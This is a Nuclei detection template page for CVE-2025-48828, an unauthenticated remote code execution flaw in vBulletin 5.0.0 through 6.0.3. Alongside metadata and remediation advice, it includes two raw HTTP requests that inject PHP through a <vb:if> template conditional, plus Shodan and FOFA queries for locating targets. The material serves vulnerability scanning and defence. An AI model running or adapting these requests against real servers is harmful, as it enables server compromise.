CVE-2025-48828: vBulletin replaceAdTemplate - Remote Code Execution
- Template: CVE-2025-48828
- Name: vBulletin replaceAdTemplate - Remote Code Execution
- Description: vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted <vb:if> conditional that executes arbitrary PHP code via passthru($_POST[<param>]), and triggering it with a second request to ajax/render/ad_<location>, attackers can run arbitrary commands on the server as the webserver user.
- Impact: Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.
- Remediation: Upgrade to vBulletin 6.0.4+ and apply the official patch to restrict access to protected controller methods and secure the ajax/api/ad/replaceAdTemplate endpoint.
- Severity: critical
- Authors: DhiyaneshDK, Chocapikk
- Tags: cve, cve2025, rce, vbulletin, intrusive, vkev, vuln
- References: https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php, https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce, https://nvd.nist.gov/vuln/detail/CVE-2025-48827, https://nvd.nist.gov/vuln/detail/CVE-2025-48828
- Cves: CVE-2025-48828
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-48828.yaml
- Digest: 4b0a00483046022100b4f9cb6275c8f66939c5280bafbbe02af040914f9248ceb73b190a6e958cd2b902210097816f21dc41f7f795175d568f92e1f991f7465309bfbd9aff567e8757037875
- Created at: 2025-05-24T13:10:46Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 549
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-48828.yaml
Classification
- Cwe: CWE-424
- Cvss score: 10
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Epss score: 0.57297
- Epss percentile: 0.99096
- Cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: app="vBulletin"
- Max-request: 1
- Product: vbulletin
- Shodan-query: http.component:"vBulletin"
- Vendor: vbulletin
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| vbulletin:vbulletin | yes | /v1/products/vbulletin/vbulletin |
Labels
- Name: vBulletin - Remote Code Execution
- Impact: Attackers can execute arbitrary PHP code, potentially leading to full server compromise.
- Remediation: Update to the latest version of vBulletin.
- Vulnerability type: template_injection
- Vulnerability impact: remote_code_execution
- Requirements: Attacker needs ability to create or modify templates
- Labels source: securitycontext
- From cve: CVE-2025-48828
- Not known: requirement type
```yaml
id: CVE-2025-48828
info:
name: vBulletin replaceAdTemplate - Remote Code Execution
author: DhiyaneshDK, Chocapikk
severity: critical
description: |
vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted <vb:if> conditional that executes arbitrary PHP code via passthru($_POST[<param>]), and triggering it with a second request to ajax/render/ad_<location>, attackers can run arbitrary commands on the server as the webserver user.
impact: |
Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.
remediation: |
Upgrade to vBulletin 6.0.4+ and apply the official patch to restrict access to protected controller methods and secure the ajax/api/ad/replaceAdTemplate endpoint.
reference:
- https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php
- https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
- https://nvd.nist.gov/vuln/detail/CVE-2025-48827
- https://nvd.nist.gov/vuln/detail/CVE-2025-48828
classification:
epss-score: 0.57297
epss-percentile: 0.99096
cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-48828
cwe-id: CWE-424
metadata:
verified: true
max-request: 1
vendor: vbulletin
product: vbulletin
fofa-query: app="vBulletin"
shodan-query: http.component:"vBulletin"
tags: cve,cve2025,rce,vbulletin,intrusive,vkev,vuln
variables:
rand_string: "{{to_lower(rand_base(5))}}"
rand_value: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location={{rand_string}}&template=<vb:if condition='"var_dump"("{{rand_value}}")'></vb:if>
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body,'string(5)','{{rand_value}}')
condition: and
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
routestring=ajax/render/ad_{{rand_string}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body,'string(5)','{{rand_value}}')
condition: and
digest: 4b0a00483046022100b4f9cb6275c8f66939c5280bafbbe02af040914f9248ceb73b190a6e958cd2b902210097816f21dc41f7f795175d568f92e1f991f7465309bfbd9aff567e8757037875:922c64590222798bb761d5b6d8e72950
```